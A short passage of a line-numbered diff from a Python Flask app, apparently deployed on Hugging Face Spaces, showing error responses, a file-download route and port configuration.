command_output = f"Ошибка сервера при сохранении файла для клиента: {str(e)}"
|
873 |
return jsonify({'status': 'error', 'message': f'Server error saving file for client: {str(e)}'}), 500
|
874 |
+
|
875 |
+
command_output = "Ошибка обработки файла на сервере для отправки клиенту."
|
876 |
+
return jsonify({'status': 'error', 'message': 'File processing failed on server'}), 500
|
877 |
|
878 |
@app.route('/download_to_client/<filename>')
|
879 |
def download_to_client(filename):
|
880 |
+
# Filename here is the server_side_filename (UUID_original.ext)
|
881 |
return send_from_directory(app.config['FILES_TO_CLIENT_FOLDER'], filename, as_attachment=True)
|
882 |
|
883 |
|
884 |
if __name__ == '__main__':
|
885 |
+
# For Gradio/HF Spaces, port is often managed by the platform.
|
886 |
+
# For local testing, you can use a specific port.
|
887 |
+
# app.run(host='0.0.0.0', port=7860, debug=False)
|
888 |
+
# HF Spaces usually injects PORT environment variable
|
889 |
+
port = int(os.environ.get("PORT", 7860))
|
890 |
+
app.run(host='0.0.0.0', port=port, debug=False)
|